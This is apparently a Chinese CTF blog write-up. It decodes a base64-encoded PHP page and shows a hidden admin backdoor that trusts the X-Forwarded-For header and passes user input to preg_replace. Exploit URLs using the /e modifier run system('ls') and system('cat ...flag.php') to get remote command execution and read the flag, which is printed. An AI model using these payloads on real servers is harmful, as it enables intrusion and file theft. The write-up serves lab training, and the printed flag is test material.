

wdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyHRhYmxlID0gbG
F5dWkudGFibGUsc2l0Zm90PSBsYXl1aS5mb3JtOwoKICAgICAgICB0YwJsZS5yZW5kZXloewogICAgICAg
ICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICAgICB1cmw6ICcvvc29tcnRoaw5nLmpzb24nLAogICAgICAgICAgICAgICAg
kdGg6IDGwLAogICAg
nVtYmVycycgfSwKICAg
mllbGQ6ICdpZCcsIHRpdGxOiAnSUQnLlCB3aWR0aDogMTAwLCB1bnJlci2I6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgIC
AgIC
AogICAg
ICB7IGZpZWxkOianc3RhdHVzJywgdGI0bGU6ICfnu7TmiqTnirbmglEnLCBtaW5XaWR0aDogMTwLCBzb3J0OiB0cnVllH0sCiAgI
CAGICAg
GV0Oianl3N3aXRjaFRwCcsIHVucmVzaXplOiB0cnVllH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
AgICAgcGFnZTogdHJ1ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
UoJ2VsZW1ibnQnLlCBmdW5jdGlvbiGpIhskICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
92ZXLmlyJmnpzjglHkuoznuqfoj5zljZXRnYnlip/og73wLzpnIDopoHkvp3otZzIbGVtZW505qih5Z2XCiAgICAgICAgICAgLy/nm5HlkZkr7zoiKr
ngmlh7sKICAg
S5sb2coZWxlbSkKICAg
C9zY3JpcHQ+CGo8P3BocAoKJHBhZ2UgPSAKx0dFVftwYWDlXTsKcmlmlChpc3NldCgkcGFnZSkplHsKcGoKaWYgKGN0eXB
IX2fSbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdidBzdHlsZT0idGV4dC1hbGlnbjpZ
50ZXliPgogICAg
iciAvPjxiciAvPgoKPD9waHAKCn1lbnHNlewoKPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
eWxIPSJ0ZXh0LWFsaWduOmNlbnRlcic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
gogICAg
Ck7CiAgICAg
KICAg
wYWDlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CAgIC
AgICAg
AgICAg
/mlnkv/nmoTlP7njdovPlihaXovPlihm7mimoTliP/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZG
Y5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBWf9GT1JXQVJERURfRk9Sj10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZ
WNobyAiPGJyID5ZXWxb21lIE15IEFkbWlucEgPGJyID4iOwoKICAgICRwYXR0ZXJlD0gJF9HRVRbcGF0XTsKICAgICRyZXBs
YWNlbnVudCA9ICRFR0VUW3Jlcf07CiAgICAKc3ViamVjdCA9ICRFR0VUW3N1Y107CgogICAgAgaWYgKGlzcnZV0KCRwYXR0ZXJ
uKSAmJiBpc3NldCgkcmlVwGFjZW1ibnQpICymIglzc2V0KCRzdWJqZWN0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAg
OdGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
PgoKPC9ib2R5PgogKPC9odG1sPgo=

使用base64在线解码后得到关键函数:

```
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试  
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {  
    echo "<br >Welcome My Admin ! <br >";  
    $pattern = $_GET[pat];  
    $replacement = $_GET[rep];  
    $subject = $_GET[sub];  
    if (isset($pattern) && isset($replacement) && isset($subject)) {  
        preg_replace($pattern, $replacement, $subject);  
    }else{  
        die();  
    }  
}  
?>  
</body>  
</html>
```

根据函数我们得知，输入的参数有三个，并且会代入到一个preg_replace函数中，查询该函数的功能。

```
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ] ] )
搜索 subject 中匹配 pattern 的部分，以 replacement 进行替换。
参数说明：
    $pattern: 要搜索的模式，可以是字符串或一个字符串数组。
    $replacement: 用于替换的字符串或字符串数组。
    $subject: 要搜索替换的目标字符串或字符串数组。
    $limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1（无限制）。
    $count: 可选，为替换执行的次数。
```

返回值

如果 subject 是一个数组，preg_replace() 返回一个数组，其他情况下返回一个字符串。

如果匹配被查找到，替换后的 subject 被返回，其他情况下返回没有改变的 subject。如果发生错误，返回 NULL。

于是：

使用加入参数?pat=/(.)/e&rep=system('ls')&sub=harry得到:

```
<br >Welcome My Admin ! <br >
index.html
index.php
js
layui
logo.png
s3chahahaDir
start.sh
璫哨混.png
css
index.html
index.php
js
layui
logo.png
s3chahahaDir
start.sh
璫哨混.png
```

使用加入参数?pat=/(.)/e&rep=system('ls+s3chahahaDir/flag')&sub=harr得到:

```
element.on('nav(demo)', function(elem) {
    //console.log(elem)
    layer.msg(elem.text());
});
});
</script>

<br >Welcome My Admin ! <br >flag.php
flag.php

</body> https://blog.csdn.net/harry\_c
```

使用加入参数?pat=/(.*)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=harry得到：答案

3、答案

```
<br >Welcome My Admin ! <br ><?php  
$flag = 'cyberpeace{c43b4737749f7ca5d0ee2a11e76a0452}';  
?>  
<?php  
$flag = 'cyberpeace{c43b4737749f7ca5d0ee2a11e76a0452}';  
?>
```

https://blog.csdn.net/harry_c

至此最终的flag是：cyberpeace{c43b4737749f7ca5d0ee2a11e76a0452}